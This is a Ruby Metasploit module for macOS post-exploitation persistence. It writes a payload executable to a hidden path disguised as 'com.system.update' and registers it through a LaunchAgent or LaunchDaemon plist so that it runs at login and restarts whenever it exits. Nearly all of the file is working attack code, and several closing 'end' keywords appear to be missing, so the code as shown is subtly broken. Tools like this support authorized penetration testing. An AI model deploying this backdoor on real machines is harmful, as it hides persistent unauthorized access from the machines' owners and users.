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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'shellwords'
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::Common
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  include Msf::Post::File
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  include Msf::Exploit::EXE
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Mac OS X Persistent Payload Installer',
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        'Description' => %q{
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          This module provides a persistent boot payload by creating a launch item, which can be
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          a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered
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          upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with
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          elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.
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          In either case the plist entry specifies an executable that will be run before or at login.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],
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        'Targets' => [
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          [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
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          [ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
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          ['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
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          [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
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          [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
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        ],
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        'DefaultTarget' => 0,
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        'SessionTypes' => [ 'shell', 'meterpreter' ],
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        'DisclosureDate' => '2012-04-01',
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        'Platform' => [ 'osx', 'python', 'unix' ],
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        'References' => [
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          'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',
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          'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'
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        ]
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      )
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    )
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    register_options([
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      OptString.new('BACKDOOR_PATH',
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                    [
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                      true, 'Path to hide the backdoor on the target.',
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                      '~/Library/.<random>/com.system.update'
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                    ]),
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      OptBool.new('KEEPALIVE',
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                  [true, 'Continually restart the payload exe if it crashes/exits.', true]),
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      OptBool.new('RUN_NOW',
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                  [false, 'Run the installed payload immediately.', false]),
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      OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])
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    ])
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  end
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  def exploit
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    check_for_duplicate_entry
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    if target['Arch'] == ARCH_PYTHON
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      payload_bin = "#!/usr/bin/env python\n" + payload.encoded
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    elsif target['Arch'] == ARCH_CMD
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      payload_bin = "#!/usr/bin/env bash\n" + payload.raw
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    else
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      payload_bin = generate_payload_exe
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    end
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    # Store backdoor on target machine
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    write_backdoor(payload_bin)
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    # Add plist file to LaunchAgents dir
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    add_launchctl_item
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    # tell the user how to remove the persistence if necessary
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    list_removal_paths
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  end
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  private
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  # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
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  def add_launchctl_item
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    label = File.basename(backdoor_path)
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    cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
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    # NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
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    item = <<-EOI
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    <?xml version="1.0" encoding="UTF-8"?>
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    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
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    <plist version="1.0">
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      <dict>
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        <key>Label</key>
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        <string>#{label}</string>
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        <key>Program</key>
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        <string>#{backdoor_path}</string>
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        <key>ProgramArguments</key>
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        <array>
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          <string>#{backdoor_path}</string>
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        <key>RunAtLoad</key>
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        <true/>
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        <key>OnDemand</key>
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        <#{keepalive?}/>
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        <key>KeepAlive</key>
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        <#{keepalive?}/>
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      </dict>
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    </plist>
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    EOI
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    if write_file(plist_path, item)
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      print_good("LaunchAgent added: #{plist_path}")
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    else
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      fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")
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    end
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    if run_now?
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      cmd_exec("launchctl load -w #{plist_path.shellescape}")
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    end
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    print_good('LaunchAgent installed successfully.')
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  end
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  # path to upload the backdoor. any <user> or <random> substrings will be replaced.
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  # @return [String] path to drop the backdoor payload.
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  def backdoor_path
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    @backdoor_path ||= datastore['BACKDOOR_PATH']
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                       .gsub('<random>') { Rex::Text.rand_text_alpha(8) }
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                       .gsub(%r{^~/}, "/Users/#{user}/")
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  end
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  # raises an error if a Launch Agent already exists at desired same plist_path
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  def check_for_duplicate_entry
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    if file?(plist_path)
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      fail_with 'FileError', "Duplicate LaunchAgent plist already exists at #{plist_path}"
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    end
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  # @return [Boolean] user wants the persistence to be restarted constantly if it exits
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  def keepalive?
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    datastore['KEEPALIVE']
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  end
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  # useful if you want to remove the persistence.
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  # prints out a list of paths to remove and commands to run.
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  def list_removal_paths
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    removal_command = "rm -rf #{File.dirname(backdoor_path).shellescape}"
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    removal_command << " ; rm #{plist_path}"
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    removal_command << " ; launchctl remove #{File.basename(backdoor_path)}"
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    removal_command << " ; launchctl stop #{File.basename(backdoor_path)}"
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    print_status("To remove the persistence, run:\n#{removal_command}\n")
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  # path to the LaunchAgent service configuration plist
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  # @return [String] path to the LaunchAgent service
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  def plist_path
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    @plist_path ||= "/Users/#{user}/Library/#{datastore['LAUNCH_ITEM']}s/#{File.basename(backdoor_path)}.plist"
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  # @return [Boolean] user wants to launch the LaunchAgent immediately
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  def run_now?
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    datastore['RUN_NOW']
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  def user
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    @user ||= cmd_exec('whoami').strip
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  # drops the file to disk, then makes it executable
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  # @param [String] exe the executable to drop
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  def write_backdoor(exe)
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    print_status('Dropping backdoor executable...')
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    cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")
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    if write_file(backdoor_path, exe)
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      print_good("Backdoor stored to #{backdoor_path}")
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      cmd_exec("chmod +x #{backdoor_path.shellescape}")
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      fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")
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    end
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  end
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end
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